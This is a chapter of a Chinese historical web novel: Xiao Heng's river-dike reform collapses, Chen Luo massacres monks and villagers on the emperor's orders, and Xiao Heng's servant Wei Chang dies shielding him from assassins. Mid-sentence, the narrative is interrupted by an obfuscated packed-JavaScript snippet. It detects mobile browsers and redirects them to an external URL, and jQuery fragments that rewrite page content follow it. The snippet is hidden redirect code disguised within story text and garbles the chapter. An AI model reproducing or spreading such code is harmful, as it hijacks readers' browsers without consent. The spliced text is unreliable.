萧珩走后，阿玉曾请命一同前去，但是被皇帝驳回了，理由是需要她拟写后妃册文。


    皇帝元旻年十六，在位六年，却从未宠幸过任何一位女子。


    如今他要纳妃的消息很快传遍了，可无一人知道那位能得到陛下青睐的女子是谁。


    不少人传言是那日进了陛下寝殿的柳清云，事后皇帝虽没有再找过她，可柳清云整日也是战战兢兢，魂不守舍。


    阿玉要拟写册文，故而也问过陛下那位女子的芳名，可是皇帝只说让她写内容，名字以后再填上即可。


    于是宫内喧嚷的更热闹了，有些女子甚至代入了自己，说倒茶的时候被皇帝摸过手，皇帝多看过自己一眼之类的，宫城这边流言沸沸扬扬，另一边，萧珩的《河防疏议》却遇到了问题。


    《河防疏议》是百年大计，造福后代的条例，可对当下百姓而言势必是要做一些牺牲的，之前在堤坝附近随意开垦的田地如今全部都要收回，退耕还林，种植林木。


    百姓都饿怕了，自然是不愿意的，尽管萧珩一再劝说不会让大家饿肚子，可谁敢信呢？


    地是自己的不会跑，官家的话看不见摸不着，谁敢当真？


    百姓们拖家带口拦在田地前，直言：“要我的地就从我的身上踏过去！”


    杨文明曾想让府衙的人把他们带走，萧珩没有让他这样做，怕伤民心。


    一时之间，《河防疏议》被迫停滞。


    堤坝上时时刻刻亮着火把守着人，萧珩想到的唯一办法就是从门阀士族里分出一小部分田地来给这些百姓，如此一来，便得罪了达官贵族，个个都上奏萧珩心怀不轨，想要造反。


    门阀士族容不下他，百姓也在唾骂他。


    就在这个时候发生了一件大事。


    陈洛屠寺庙。


    洛阳周围一百二十所寺庙尽数烧毁，其中也包括景明寺。


    僧人们四处逃窜，流落山头。


    可景明寺的僧人们却被屠杀殆尽，邪僧高不悔、慧明大师以及萧珩驻守在景明寺的数千部曲全部被捕杀。


    萧珩得知这一消息赶去的时候陈洛刚好将剑刺入慧明的胸膛。


    “师父！！！！！”


    慧明胸前鲜血直流，他回头看了萧珩一眼，随即摔倒在地。


    “师父！！！！！”萧珩抱起慧明的尸体，失声痛哭。


    陈洛脸上溅了不少鲜血，眼睛里满是快活：“萧珩，你现在是不是心痛的想要死啊？”


    萧珩眼睛赤红，怒吼：“你为什么要这么做？！”


    “自然是奉了陛下的旨意。”


    “不可能！陛下为何要烧毁寺庙，屠尽僧尼！”


    陈洛把玩着手中的扇子：“陛下嘛，他确实是说要烧毁寺庙，赶僧人下山。”


    “至于景明寺的这些人，陛下的原话是杀掉邪僧高不悔，除尽你的部曲，而我把他们都杀了，纯粹是为了泄我的一己私愤罢了。”


    “我要杀了你！”萧珩暴起，揪住了陈洛的衣领。


    陈洛身后的禁卫军一拥而上，将长刀架在了萧珩的脖子上。


    陈洛嚣张的说：“你杀我？！萧珩，那也要看看你有没有这个本事！我可是奉了陛下的旨意，我杀他们是因为他们抗旨，你若杀我就是违逆陛下！你可想好了！！！！”


    萧珩眼眶通红，咬牙切齿道：“陈洛，总有一天我会亲手杀了你！”


    “好啊，我等着。”


    萧珩连夜进了宫，元旻早有所料，一早就让刘桂春在殿外候迎着。


    “萧大人，里面请，陛下已等候多时了。”


    萧珩进入门内，开门见山道：“陛下，您为何要这样做？”


    元旻淡淡道：“全国寺院上万，只洛阳就有上千所寺庙，里面年轻僧人更是不计其数，这些年轻力壮的青年只把寺院当作避难所，朕怎么能让他们如愿，所有人都出家当和尚尼姑了，谁来繁育后嗣，谁来为国效忠？”


    元旻道：“朕的子民不需要信奉佛祖，朕才是他们唯一的真神！”


    “国家昌盛，百姓自然愿意安居乐业，陛下，您又何必非要这样？”


    “朕等不了了！”元旻额头青筋暴起，“与其慢火温吞不如直接烈火烧尽！”


    “陛下，您这样会失民心的！”


    “民心？萧侍中，究竟是你想要得民心还是怕朕失民心？”


    萧珩走了，回到洛河堤坝的时候被告知，守在堤坝上的百姓全部被杀，一个叫陈洛的人说是奉了他的命令！


    萧珩突然眼前发黑，晕倒在地。


    等他再次醒来时发现自己已经回到萧府了。


    卫昶正看着他，见他醒了后一脸惊喜：“郎主，您醒啦？”


    “卫昶，我怎么回来了？”


    “您晕倒了三天，这才刚醒。”


    萧珩想要下床却被卫昶拦住了：“郎主，这些天您就别出去了。”


    “怎么了？”


    “现在关于您的流言满天飞，实在是难听的很！”


    “什么流言？”


    卫昶低下头不愿意回答。


    “快说！”


    “他们……他们说您弑母，还说梁尚书，也就是阿玉是您从小豢养在府内的女妓，她能做女官全是靠您……”


    “还有吗？”


    卫昶满脸愤然：“这些倒也罢了，可他们说您逼杀良臣于忠，残害百姓，还意图谋反！！！”


    萧珩沉默许久，又问：“洛河堤坝那里呢？”


    “堤坝上死了人，百姓们都怨恨你，现在那边已经交给陈洛了。”


    “我得去看看！”


    卫昶拗不过，只好驾车载着萧珩一路赶往洛河堤坝。


    陈洛正在那里监看杨柳种植的情况，萧珩想要过去却被侍卫拦下，陈洛看见后摆了摆手，让人把萧珩放了进来。


    “是你杀了那六户一十三口人家！”萧珩质问。


    “是我啊，那又如何？萧珩，你不妨想想，这些人的性命一文不值，左右是些贱民，你宁愿动门阀士族的土地都不愿意杀这些人，实在是愚蠢的很。”


    “土地和人命孰轻孰重？”


    “你维护这些人的性命，可他们又是如何对待你的呢？难不成你还想要名留青史，千古扬名不成？”


    “我告诉你，今日我屠尽寺庙，杀尽百姓，可史书上依旧只会写是我陈洛防护堤坝有功，我才是那个建功伟业的人，而你，在史书上，只会留下弑母造反，豢养女妓的骂名！”


    “我身上的恶名还少吗？我萧珩从不在乎！”


    陈洛冷笑一声：“你为天下人，却受天下人唾骂，青史也不会为你正名，你当真不在乎？”


    “青史不留名，心自有归处。”


    “好一个‘青史不留名，心自有归处’，你真当自己是超脱世俗的活神仙啦，萧珩，你就好好享受一下百姓的怒火吧。”


    “萧侍中，陛下找您。”一个小太监匆匆赶来。


    萧珩看了陈洛一眼，坐上马车往皇宫赶去。


    突然一只箭矢穿破车壁直直刺向萧珩心脏！


    萧珩偏身躲过。


    马车骤然停下，卫昶勒紧马绳，回头大喊：“郎主有埋伏！”


    萧珩从马车内出来，只见一群黑衣人缓缓逼近。


    “是谁派你们来杀我？”


    “自然是想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721915|169595||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要你命的人！”


    一群人蜂拥而上，卫昶挡在萧珩身前。


    为首的黑衣人见近不得萧珩的身，便命其他人拖住卫昶，自己则避开他，跳到了萧珩身后。


    萧珩见状，连忙侧身躲避。


    可那黑衣人招式迅猛，眼见就要刺中萧珩，卫昶突然挡在了他的身前。


    “卫昶！！”


    利刃刺穿卫昶的身体，鲜血瞬间涌出。


    卫昶目眦欲裂，一手按住身上的剑，一手割断了对方的喉咙。


    “卫昶！！”


    “郎主，我没事。”


    卫昶剧烈喘气，他用力拔出身上的剑，再次扑进黑衣人的围杀圈里。


    天边残阳如血，卫昶杀掉最后一个黑衣人，将身体靠在了满是鲜血的剑身上。


    “郎主……”卫昶笑了笑，突然吐出一大口黑血。


    这剑有毒！


    萧珩将卫昶拥入怀里：“卫昶坚持住！我带你回去！”


    卫昶摇头：“没用的郎主，我不行了。”


    “别说丧气话！你撑住！我现在就带你回去！”


    萧珩想要起身，却被卫昶拦住了。


    “郎主，对不起，我、我从小跟在您身边，却一直没能保护好您。”


    “我真的很没用！每次看见您被奸人所害，满身的伤昏迷不醒，我就特别恨自己！我没能保护好您，没能完成干爹的嘱托，我是个废物！”


    “谁说的？！你一直都保护我保护的很好！我不能没有你！你听见没有？！”


    卫昶笑了笑：“谢谢您，郎主，听见您说您不能没有我，我真的很开心，卫昶自小跟在您身边，眼里只有您，我看见您受伤，就忍不住把怨气撒在阿玉身上，我见不得您对她好，我嫉妒，我埋怨，我怎么能这么坏？”


    “郎主，麻烦您见到阿玉替我向她道句歉，我不是有心的……”


    卫昶嘴里不断涌出血沫，他满脸歉意：“我把您的衣服弄脏了，对不起郎主，我给您擦干净……”


    “现在还说这些做什么？！”


    “郎主是最洁净之人，卫昶从来都不敢忘。”


    卫昶用力擦着萧珩身上的血迹，擦着擦着手便无力地垂了下去。


    萧珩眼眶通红，泪水滴在了怀里人的脸上。


    他颤抖着合上卫昶的眼睛，发出痛苦的哀嚎。


    痛，太痛了！！


    他浑身是血，麻木的将卫昶的尸体放到马车里，亲自驾着马车将卫昶带回了萧府。


    刘伯看见这两人浑身是血时大吃一惊：“这是怎么了？！”


    “麻烦刘伯给卫昶漱洗干净，换上衣裳，我有事进宫一趟。”


    他说完就要走。


    刘伯在身后喊：“那也要换身干净衣服再走啊。”


    萧珩恍若未闻，进宫的时候不少人都吓了一跳，连忙躲远。


    萧珩进了皇帝书房，元旻看见他这样丝毫没有惊讶，想来他已经知道了。


    他在案前练字，漫不经心的说：“萧侍中，城中流言四起，关于这些事情你有什么要说的吗？”


    萧珩闭了闭眼再睁开：“陛下，您想要臣怎么做？”


    “我得给百姓个交代。”


    “好。”


    萧珩被侍卫押下去了。


    纪元替他求情，却被元旻冷斥道：“老师，朕念在朕年幼时你对朕多加照拂这次就不和您计较了，若是您执意替他求情，我便加倍折磨他。您可想好了？”


    纪元深知皇帝秉性，只好缄口不言。


    两日后，萧珩在阊阖门鞭刑示众的消息不胫而走，阿玉得知时很震惊，她不顾杨内司劝说，偷偷出了宫。